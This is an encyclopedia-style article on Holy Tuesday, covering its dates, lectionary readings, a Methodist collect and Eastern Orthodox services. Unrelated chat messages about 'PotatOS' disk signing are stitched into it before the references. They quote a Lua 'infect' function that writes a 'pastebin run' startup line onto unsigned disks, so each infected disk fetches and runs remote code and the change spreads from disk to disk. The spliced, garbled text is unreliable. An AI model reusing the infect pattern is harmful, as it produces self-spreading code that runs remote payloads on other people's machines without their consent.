Holy Tuesday

Holy Tuesday, Fig Tuesday , or Great and Holy Tuesday (Greek: Μεγάλη Τρίτη, Megali Triti) is the Tuesday of Holy Week, which precedes the commemoration of the death of Jesus.

Holy Tuesday
Holy Tuesday procession in Ceuta, 2012
Also calledGreat and Holy Tuesday
Megali Triti
Observed byChristians
TypeChristian
SignificanceCommemorates the Parable of the Ten Virgins and the Parable of the talents or minas
ObservancesMass or Service of Worship
DateTuesday before Easter
2019 date
  • April 16 (Western)
  • April 23 (Eastern)
2020 date
  • April 7 (Western)
  • April 14 (Eastern)
2021 date
  • March 30 (Western)
  • April 27 (Eastern)
2022 date
  • April 12 (Western)
  • April 19 (Eastern)
Frequencyannual
Related toHoly Week

Western Christianity
Holy Tuesday and other named days and day ranges around Lent and Easter in Western Christianity, with the fasting days of Lent numbered

In the Roman Catholic Church, the readings for the Novus Ordo are Isaiah 49:1-6; Psalm 71:1-6, 71:15, 71:17; 1 Corinthians 1:18-31; and John 13:21-33, 13:36-38. In the older form of the Mass known as the Tridentine Mass the readings are taken from Jeremiah 11:18-20 and the Gospel according to St. Mark 14:1-72; 15:1-46. In the 1955 Holy Week Reform, the first 31 verses of the 14th chapter of St. Mark were removed. Those 31 verses are retained in the Roman Catholic Churches which celebrate the pre-1955 Holy Week.[1]

In the Revised Common Lectionary, which is used by the Anglican Communion, Methodist Churches, Lutheran Churches, Old Catholic Churches and some Reformed Churches,[2] the Scripture lessons are Isaiah 49:1-7 (First Reading), Psalm 71:1-14 (Psalm), 1 Corinthians 1:18-31 (Second Reading), and John 12:20-36 (Gospel Reading).[3]

In traditional Methodist usage, The Book of Worship for Church and Home (1965) provides the following Collect for Holy Tuesday:[4]

Almighty, everlasting God, grant us so perfectly to follow the passion of our Lord, that we may obtain the help and pardon of his all-sufficient grace; through him who lives and reigns with you, in the unity of the Holy Spirit, world without end. Amen.[4]

Eastern Christianity
The Wise and Foolish Virgins (from the Rossano Gospels).

In the Eastern Orthodox Church, Armenian Apostolic church and those Eastern Catholic Churches that follow the Byzantine Rite, this day is referred to as Great and Holy Tuesday, or Great Tuesday. On this day the Church commemorates the Parable of the Ten Virgins (Matthew 25:1-13), which forms one of the themes of the first three days of Holy Week, with its teaching about vigilance, and Christ as the Bridegroom. The bridal chamber is used as a symbol not only of the Tomb of Christ, but also of the blessed state of the saved on the Day of Judgement. The theme of the Parable of the Talents (Matthew 25:14-30) is also developed in the hymns of this day.[5]

The day begins liturgically with Vespers on the afternoon of Great Monday, repeating some of the same stichera (hymns) from the night before. At Great Compline a triode (Canon composed of three Odes), written by St. Andrew of Crete is chanted.

The Matins service for Monday through Wednesday of Holy Week is known as the Bridegroom Service or Bridegroom Prayer, because of their theme of Christ as the Bridegroom of the Church, a theme movingly expressed in the troparion that is solemnly chanted during them. On these days, an icon of "Christ the Bridegroom" is placed on an analogion in the center of the temple, portraying Jesus wearing the purple robe of mockery and crowned with a crown of thorns (see Instruments of the Passion). These Matins services are often chanted the evening before so more of the faithful may attend. The Matins Gospel read on this day is from the Gospel of Matthew 22:15-23:39.

The four Gospels are divided up and read in their entirety at the Little Hours (Third Hour, Sixth Hour and Ninth Hour) during the course of the first three days of Holy Week, halting at John 13:31. There are various methods of dividing the Gospels, but the following is the most common practice:[6]

Holy and Great Tuesday
  • Third Hour—The second half of Mark
  • Sixth Hour—The first third of Luke
  • Ninth Hour—The second third of Luke

At the Sixth Hour there is a reading from the Book of Ezekiel 1:21-2:1

At the Liturgy of the Presanctified Gifts, some of the stichera from the previous night's Matins (Lauds and the Aposticha) are repeated at Lord, I have cried (see Vespers). There are two Old Testament readings: Exodus 2:5-10 and Job 1:13-22. There is no Epistle reading, but there is a Gospel reading from Matthew 24:36-26:2.

gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.

References
  1. "Compendium of the 1955 Holy Week Revisions". Retrieved 6 April 2020.
  2. Holmes, Stephen Mark (1 October 2012). The Fathers on the Sunday Gospels. Liturgical Press. p. 22. ISBN 9780814635100. The Revised Common Lectionary has been subsequently adopted by many English-speaking Protestant denominations such as the Church of Scotland and various Methodist, Lutheran and Reformed Churches. It has also been adopted by some Old Catholic Churches and is widely used throughout the Anglican Communion, for example by the Church of Ireland, Scottish Episcopal Church, Church in Wales the Episcopal Church (USA) and the Anglican Churches of Canada, Australia, Aotearoa/New Zealand and Polynesia, Melanesia, the West Indies, Central Africa, and Southern Africa. In the Church of England the two-year Sunday Lectionary of the Alternative Service Book 1980 was replaced in 2000 by an adapted version of the Revised Common Lectionary in Common Worship.
  3. "Year A - Holy Week : Revised Common Lectionary". Vanderbilt University Divinity School. Retrieved 22 March 2016.
  4. The Book of Worship for Church and Home: With Orders of Worship, Services for the Administration of the Sacraments and Other Aids to Worship According to the Usages of the Methodist Church. Methodist Publishing House. 1964. p. 101. Retrieved 25 March 2017.
  5. Kallistos (Ware), Bishop; Mary, Mother (1978), The Lenten Triodion, South Canaan PA: St. Tikhon's Seminary Press (published 2002), p. 59–60, ISBN 978-1-878997-51-7
  6. Bishop Kallistos, op. cit., p. 518
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